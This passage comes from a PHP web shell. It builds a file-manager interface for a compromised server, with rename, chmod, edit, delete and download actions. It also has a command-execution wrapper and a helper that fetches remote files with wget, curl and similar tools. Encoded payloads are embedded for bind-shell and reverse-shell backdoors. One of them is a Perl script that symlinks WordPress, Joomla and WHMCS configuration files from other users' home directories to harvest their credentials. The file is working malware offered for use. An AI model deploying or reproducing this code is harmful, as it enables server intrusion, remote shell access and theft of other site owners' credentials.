$user; } $buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> $folder</a></td><td>LINK</td> <td style=\"text-align:center;\">".$owner."</td> <td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td> <td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span> <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" /> </form> </td></tr>"; } else { if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($folder)); $group=@posix_getgrgid(@filegroup($folder)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else { $owner = $user; } $buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a> <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" /> </form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td> <td><center> <a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a> <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" /> <input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td> <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">delete</a></td></tr>"; } } foreach($fname as $file){ $full = $pwd.$file; if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($folder)); $group=@posix_getgrgid(@filegroup($folder)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else { $owner = $user; } $buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a> <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" /> </form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center> <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a> <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" /> <input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td> <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td> <td><a href=\"?y=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$full\">delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>"; } $buff .= "</table>"; return $buff; } function ukuran($file){ if($size = @filesize($file)){ if($size <= 1024) return $size; else{ if($size <= 1024*1024) { $size = @round($size / 1024,2);; return "$size kb"; } else { $size = @round($size / 1024 / 1024,2); return "$size mb"; } } } else return "???"; } function exe($cmd){ if(function_exists('system')) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('exec')) { @exec($cmd,$results); $buff = ""; foreach($results as $result){ $buff .= $result; } return $buff; } elseif(function_exists('passthru')) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('shell_exec')){ $buff = @shell_exec($cmd); return $buff; } } function tulis($file,$text){ $textz = gzinflate(base64_decode($text)); if($filez = @fopen($file,"w")) { @fputs($filez,$textz); @fclose($file); } } function ambil($link,$file) { if($fp = @fopen($link,"r")){ while(!feof($fp)) { $cont.= @fread($fp,1024); } @fclose($fp); $fp2 = @fopen($file,"w"); @fwrite($fp2,$cont); @fclose($fp2); } } function which($pr){ $path = exe("which $pr"); if(!empty($path)) { return trim($path); } else { return trim($pr); } } function download($cmd,$url){ $namafile = basename($url); switch($cmd) { case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break; case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break; case 'wfread' : ambil($wurl,$namafile);break; case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break; case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break; case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break; case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break; default: break; } return $namafile; } function get_perms($file) { if($mode=@fileperms($file)){ $perms=''; $perms .= ($mode & 00400) ? 'r' : '-'; $perms .= ($mode & 00200) ? 'w' : '-'; $perms .= ($mode & 00100) ? 'x' : '-'; $perms .= ($mode & 00040) ? 'r' : '-'; $perms .= ($mode & 00020) ? 'w' : '-'; $perms .= ($mode & 00010) ? 'x' : '-'; $perms .= ($mode & 00004) ? 'r' : '-'; $perms .= ($mode & 00002) ? 'w' : '-'; $perms .= ($mode & 00001) ? 'x' : '-'; return $perms; } else return "??????????"; } function clearspace($text){ return str_replace(" ","_",$text); } // net tools $port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf"; $port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8="; $back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw=="; $back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw=="; //JUMPING $jumper="3VTLbtswELwHyD+sCQOkEEdykkMAW5YLBOnRBZoeWiSGSotUxEISBZLOo0E/qH/ZXSl24h76AYUgQd6Z2V3OrqyLygJLg9zUGopaer+4Y0WjNvbpjmVpcHgrKGztO9kidI5RNofjIzH2DSzAtCa/10FwL0udN1ZpHsFiAdMIlsgaSNyWJZ+BMlqwa+esm8HNjo7wpzZNgsrw4ehBrWTHR6kyD/uOTFtarHyb52ft5UURjG3BV7qu4eEiPoeUutuT7+WzpOYlVE6XC77kGYvHTyvZ6JilicQixM/gptPeyBqulcGMqzxfpwlWzeCv6j+GhPCVn60uL66+wG9gsZJBC/6NT4JptIiimMFbFZifRjAkYxHZ5XXIiZjXpjFBTDH4Ydxh+keFDpS2063giQ5FMgT5hDveK00JYvRKjeCFXATBbk/X0FsJM7iyW9V+D/BZSwXvcvzvrv6iBeu2GzRQOiefBcbGW6+dP4gUti0PAgZ/TefwWJlai1GpbSl2/kYv/dIGR0PBvfZ7ZA40CNRmcDadIm/cWaqDXHwRpJnw2TCyvokWWyZ8u0FowKcTElELyrif9GEklW10wuO9IuYJnqg2RV6Fpk74bgPEW84R6jh1SnHjc4djp+mKPisB/VHzbuurQeYnezUWf49irckgIzvpGpuTE3ovLeYtKnjNANIP3vYOafrX4Lcf7bZVMFrDbinY8nlxcKTD47DsH2DS79DGZXyY7DL7Aw=="; //config $configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGtvbGEuJwktIFBocEJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jIC0gd2htYy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJwktIHdobWNzMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd3AudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd3dvcmRwcmVzcyAtIHdwIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLXdvcmRwcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29s